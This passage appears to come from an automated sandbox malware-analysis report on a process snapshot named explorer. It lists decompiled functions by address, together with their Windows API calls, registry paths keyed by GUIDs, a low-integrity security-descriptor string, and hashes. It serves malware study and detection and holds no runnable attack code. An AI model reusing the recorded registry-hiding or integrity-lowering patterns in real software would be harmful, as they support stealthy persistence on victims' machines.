Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Close$CreateValue_errno_invalid_parameter_noinfo
String ID: ?$SOFTWARE\%s${DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}
API String ID: 3235468379-678327417
Opcode ID: ede5476453c4f99a9dd9d77d60b50a0d4b44caa61fb95a6ad4146687fa891cdb
Instruction ID: 1acfb0750104d2a66e828b73921d19ba5aeec431ddb42b36975b78b11a8c12e7
Opcode Fuzzy Hash: ede5476453c4f99a9dd9d77d60b50a0d4b44caa61fb95a6ad4146687fa891cdb
Instruction Fuzzy Hash: 57215E32218B80C2E7109F61F99875BB3A4F7947D4F901A21EA9957BA8DFBDC544CB04

Function 00E0F790 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39memorystringCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(?,?,?,?,?,?,?,?,00E167C4), ref: 00E0F7AF
LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,00E167C4), ref: 00E0F7C3
wnsprintfW.SHLWAPI ref: 00E0F7FC
lstrlenW.KERNEL32 ref: 00E0F80B
CoTaskMemFree.COMBASE ref: 00E0F81D
CoTaskMemFree.COMBASE ref: 00E0F82F

Strings

%s\%s, xrefs: 00E0F7EB

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: FreeTask$AllocFolderKnownLocalPathlstrlenwnsprintf
String ID: %s\%s
API String ID: 1665550476-4073750446
Opcode ID: 22d0398798acd8f4693eaf530b2968c768c5f25ad5cccc69d563900eb890bec1
Instruction ID: 13d3170be54bcd7d8fda81ab0d725b9ee0ffa65ad416130ee09d54c3861d93f8
Opcode Fuzzy Hash: 22d0398798acd8f4693eaf530b2968c768c5f25ad5cccc69d563900eb890bec1
Instruction Fuzzy Hash: BE114832628AC182E7548F14F94435A63A0FBC4B84F406822FA8A93B68DF7DC556CB00

Function 00E07770 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36registrymemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00E0778A

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

RegGetValueW.KERNEL32 ref: 00E077FC
LocalFree.KERNEL32 ref: 00E07820

Strings

SOFTWARE\%s, xrefs: 00E077A8
{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 00E077A1
{C3120582-398C-4F3B-A956-7E9F9DB9EF8E}, xrefs: 00E077E9

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Local$AllocFreeValue_errno_invalid_parameter_noinfo
String ID: SOFTWARE\%s${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}${C3120582-398C-4F3B-A956-7E9F9DB9EF8E}
API String ID: 3172112264-3858757917
Opcode ID: 60108e8e6420cc122c2957bd5de8267001585b959a6d0fefbf3756c8c20c9b2b
Instruction ID: 7330cc255ee9e6f0c697f1d3b86bd19c3a0b1f59c2471e07f32221da140cb496
Opcode Fuzzy Hash: 60108e8e6420cc122c2957bd5de8267001585b959a6d0fefbf3756c8c20c9b2b
Instruction Fuzzy Hash: B4112131618B8082E750CB54F44839A73B0F795794FA04626E7DDA3BA8DF7EC545C740

Function 00E04710 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

RegOpenKeyW.ADVAPI32 ref: 00E0474E
RegSetValueExW.KERNEL32 ref: 00E04789
RegCloseKey.ADVAPI32 ref: 00E04798

Strings

{108D3252-20F0-4C1B-940D-6ED5366D8FD3}, xrefs: 00E04720, 00E0477D
SOFTWARE\%s, xrefs: 00E04727

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseOpenValue_errno_invalid_parameter_noinfo
String ID: SOFTWARE\%s${108D3252-20F0-4C1B-940D-6ED5366D8FD3}
API String ID: 2168760479-2357458413
Opcode ID: b277b5005de9c5819c51337204c57e9bf34851ef5143b6271afdb0f866b5614f
Instruction ID: 17f616ec3ca36b9fa528544edb0b9da667041fae0cb618f048e541bd2c6e0fa0
Opcode Fuzzy Hash: b277b5005de9c5819c51337204c57e9bf34851ef5143b6271afdb0f866b5614f
Instruction Fuzzy Hash: D3116DB6324A8192D750DF20F94479A73A0FB94780F501912A68E93BE8DF39C544CB50

Function 00E1E280 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00E1E2C7
GetSecurityDescriptorSacl.ADVAPI32 ref: 00E1E2E5
SetNamedSecurityInfoW.ADVAPI32 ref: 00E1E31E
LocalFree.KERNEL32 ref: 00E1E32D

Strings

S:(ML;;NW;;;LW), xrefs: 00E1E2C0

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$ConvertFreeInfoLocalNamedSaclString
String ID: S:(ML;;NW;;;LW)
API String ID: 173816248-495562761
Opcode ID: 79cb27a41e6bf29be1783338148c5806ad86ba6a150287ac79480d04f9847149
Instruction ID: 8625ad1bf0b07076f1fa6360d85a04184e43042b08e5176caf3836ee7d488285
Opcode Fuzzy Hash: 79cb27a41e6bf29be1783338148c5806ad86ba6a150287ac79480d04f9847149
Instruction Fuzzy Hash: EF111732208A8182E7108F50F95474BBBB0F3C1B98F600516EAC957A68CFBEC549CB40

Function 00E08EB0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 25registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

RegGetValueW.KERNEL32 ref: 00E08F1A

Strings

{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 00E08EBC
SOFTWARE\%s, xrefs: 00E08EC3
{C2FE454F-1649-4C34-B46D-B1EE64A366C2}, xrefs: 00E08F07

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Value_errno_invalid_parameter_noinfo
String ID: SOFTWARE\%s${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}${C2FE454F-1649-4C34-B46D-B1EE64A366C2}
API String ID: 4005939669-3270428146
Opcode ID: 80dc20360ca16f8f9c1a7b532d2bfb9cb957c6a06b5e9ac06e7822a6ebdcd47e
Instruction ID: 5f97d169995f27db02743952ff15873a5c49d1ad1163f3bfdac06d46e0ff2ddb
Opcode Fuzzy Hash: 80dc20360ca16f8f9c1a7b532d2bfb9cb957c6a06b5e9ac06e7822a6ebdcd47e
Instruction Fuzzy Hash: F1F06D31218B8582EB20DB60F44439A7364F794394F901622E6DC537E8DFBDC249CB40

Function 00E26853 Relevance: 6.0, APIs: 4, Instructions: 47synchronizationnetworkCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00E26426
WaitForSingleObject.KERNEL32 ref: 00E26475
WaitForSingleObject.KERNEL32 ref: 00E26881
WaitForSingleObject.KERNEL32 ref: 00E268AA
WSAEnumNetworkEvents.WS2_32 ref: 00E268E3
shutdown.WS2_32 ref: 00E26914
closesocket.WS2_32 ref: 00E2692A
CloseHandle.KERNEL32 ref: 00E26940
shutdown.WS2_32 ref: 00E26CFE
closesocket.WS2_32 ref: 00E26D14
CloseHandle.KERNEL32 ref: 00E26D51
shutdown.WS2_32 ref: 00E26D88
closesocket.WS2_32 ref: 00E26D96
LocalFree.KERNEL32 ref: 00E26DB0

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$closesocketshutdown$CloseHandle$EnumEventsFreeLocalNetwork
String ID:
API String ID: 3044467104-0
Opcode ID: af6db72d22a5a0b57c07039f707cf0efc0dc65c97e2bfbca397b748c9bcfdb65
Instruction ID: 4fb43c19361f3fbad817b5fb026b12793c71a4befc5984853dcd8b4b3ce41504
Opcode Fuzzy Hash: af6db72d22a5a0b57c07039f707cf0efc0dc65c97e2bfbca397b748c9bcfdb65
Instruction Fuzzy Hash: 9E21B832159A94C6E7369B18F4897DAB3B1F79C749F241315C2CAA2A58CF7EC455CB00

Function 00E26444 Relevance: 6.0, APIs: 4, Instructions: 47synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00E26475
WaitForSingleObject.KERNEL32 ref: 00E264B6
WaitForMultipleObjects.KERNEL32 ref: 00E267F5
shutdown.WS2_32 ref: 00E26CFE
closesocket.WS2_32 ref: 00E26D14
CloseHandle.KERNEL32 ref: 00E26D51
shutdown.WS2_32 ref: 00E26D88
closesocket.WS2_32 ref: 00E26D96
LocalFree.KERNEL32 ref: 00E26DB0

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Wait$ObjectSingleclosesocketshutdown$CloseFreeHandleLocalMultipleObjects
String ID:
API String ID: 785092289-0
Opcode ID: 8f4642ff7b1716d754dccb156afb2504e9903691b47701658c058a50519b7d20
Instruction ID: 410246110c82fee292a429af6d6b7a4d594d7bed0348118c2a26c8760884f57a
Opcode Fuzzy Hash: 8f4642ff7b1716d754dccb156afb2504e9903691b47701658c058a50519b7d20
Instruction Fuzzy Hash: EC21B832159AD4C6E732AB18F8897DAB3B1F3DC749F241315C6CAA6A58CF7EC455CA00

Function 00E04670 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

RegGetValueW.KERNEL32 ref: 00E046E7

Strings

SOFTWARE\%s, xrefs: 00E04687
{108D3252-20F0-4C1B-940D-6ED5366D8FD3}, xrefs: 00E04680, 00E046D4

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Value_errno_invalid_parameter_noinfo
String ID: SOFTWARE\%s${108D3252-20F0-4C1B-940D-6ED5366D8FD3}
API String ID: 4005939669-2357458413
Opcode ID: 2115ce6193abd41777d6ffd69be575b92e3f0452e2be5c5e42853abc2101455d
Instruction ID: b85647f6aa86d97d3abf9d8a5759a493f8550b2c28a4bc3a01784044b9b1da15
Opcode Fuzzy Hash: 2115ce6193abd41777d6ffd69be575b92e3f0452e2be5c5e42853abc2101455d
Instruction Fuzzy Hash: 82011972218BC1C6E760DB64F44478AB3A4F795344F905622E6CC63BA8DF7DC545CB40

Function 00E04AF4 Relevance: 4.6, APIs: 3, Instructions: 90synchronizationCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 00E04880

Part of subcall function 00E04DA0: SHGetKnownFolderPath.SHELL32 ref: 00E04E23

LocalFree.KERNELBASE ref: 00E04BF3

Part of subcall function 00E04710: RegOpenKeyW.ADVAPI32 ref: 00E0474E

LocalFree.KERNEL32 ref: 00E04C72
WaitForSingleObject.KERNEL32 ref: 00E04CC6
LocalFree.KERNEL32 ref: 00E04D45

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: FreeLocal$FolderKnownObjectOpenPathSingleWait
String ID:
API String ID: 423962919-0
Opcode ID: 86a66c496532395c50701363ab02f81bfb15527b981d2ba53304625b2c98b4e8
Instruction ID: 6bee453cbd22a4007d06eabe55a3573cf27e03afad864b99689ef28204476576
Opcode Fuzzy Hash: 86a66c496532395c50701363ab02f81bfb15527b981d2ba53304625b2c98b4e8
Instruction Fuzzy Hash: F65107B6206B80C1FB24CF04F4D53A9A3A0F7E4748F51152AD64EAA7E4DBBDC585CB90

Function 00E32CBC Relevance: 4.5, APIs: 3, Instructions: 46memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00E32CDF
HeapAlloc.KERNEL32(?,?,00000000,00E3064F,?,?,00000000,00E2AC17,?,?,00000000,00E2AC73,?,?,?,00E29403), ref: 00E32D13
_callnewh.LIBCMT ref: 00E32D2A

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: AllocHeap_callnewh_errno
String ID:
API String ID: 849339952-0
Opcode ID: 4b04040313b4c59d8f4c6c08effb20606fd586f7079442bb8a48b4545a6d528d
Instruction ID: da1b85de809cc0a54026140d52fa850f4451e01cd9735568d819036755600c14
Opcode Fuzzy Hash: 4b04040313b4c59d8f4c6c08effb20606fd586f7079442bb8a48b4545a6d528d
Instruction Fuzzy Hash: 6E01B13170128085EF154B21EA48369AAA1ABA4BE8F58B6388F957B694EB3C8481C741

Function 00E26893 Relevance: 4.5, APIs: 3, Instructions: 35COMMON

Download Yara Rule

APIs

shutdown.WS2_32 ref: 00E26CFE
closesocket.WS2_32 ref: 00E26D14
CloseHandle.KERNEL32 ref: 00E26D51
shutdown.WS2_32 ref: 00E26D88
closesocket.WS2_32 ref: 00E26D96
LocalFree.KERNEL32 ref: 00E26DB0

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: closesocketshutdown$CloseFreeHandleLocal
String ID:
API String ID: 1073023652-0
Opcode ID: 43dddbbfbda7011b3d8a65e8c8dbcf4d13a1a20bd968318ee48078ba41f9be42
Instruction ID: ed0763a0671a2f7c61c1af6324865f79b81b7c762c554046f55a0e7e538f9154
Opcode Fuzzy Hash: 43dddbbfbda7011b3d8a65e8c8dbcf4d13a1a20bd968318ee48078ba41f9be42
Instruction Fuzzy Hash: 6611873225AA84C6E732AB18F4897DAB370F39C749F241315D6C666A98CF7EC4558A00

Function 00E2681A Relevance: 4.5, APIs: 3, Instructions: 35COMMON

Download Yara Rule

APIs

shutdown.WS2_32 ref: 00E26CFE
closesocket.WS2_32 ref: 00E26D14
CloseHandle.KERNEL32 ref: 00E26D51
shutdown.WS2_32 ref: 00E26D88
closesocket.WS2_32 ref: 00E26D96
LocalFree.KERNEL32 ref: 00E26DB0

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: closesocketshutdown$CloseFreeHandleLocal
String ID:
API String ID: 1073023652-0
Opcode ID: 235f50aebb46bc464f7ab05e66ccd8ccd191cfa8eb97216690ab7208fa9ce6f8
Instruction ID: ed0763a0671a2f7c61c1af6324865f79b81b7c762c554046f55a0e7e538f9154
Opcode Fuzzy Hash: 235f50aebb46bc464f7ab05e66ccd8ccd191cfa8eb97216690ab7208fa9ce6f8
Instruction Fuzzy Hash: 6611873225AA84C6E732AB18F4897DAB370F39C749F241315D6C666A98CF7EC4558A00

Function 00E26BA4 Relevance: 4.5, APIs: 3, Instructions: 35COMMON

Download Yara Rule

APIs

shutdown.WS2_32 ref: 00E26CFE
closesocket.WS2_32 ref: 00E26D14
CloseHandle.KERNEL32 ref: 00E26D51
shutdown.WS2_32 ref: 00E26D88
closesocket.WS2_32 ref: 00E26D96
LocalFree.KERNEL32 ref: 00E26DB0

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: closesocketshutdown$CloseFreeHandleLocal
String ID:
API String ID: 1073023652-0
Opcode ID: cb8934eb4f7bc3a0db0905c1e506579420ed85087974290e892497e4c38a9e4d
Instruction ID: ed0763a0671a2f7c61c1af6324865f79b81b7c762c554046f55a0e7e538f9154
Opcode Fuzzy Hash: cb8934eb4f7bc3a0db0905c1e506579420ed85087974290e892497e4c38a9e4d
Instruction Fuzzy Hash: 6611873225AA84C6E732AB18F4897DAB370F39C749F241315D6C666A98CF7EC4558A00

Function 00E26487 Relevance: 4.5, APIs: 3, Instructions: 35COMMON

Download Yara Rule

APIs

shutdown.WS2_32 ref: 00E26CFE
closesocket.WS2_32 ref: 00E26D14
CloseHandle.KERNEL32 ref: 00E26D51
shutdown.WS2_32 ref: 00E26D88
closesocket.WS2_32 ref: 00E26D96
LocalFree.KERNEL32 ref: 00E26DB0

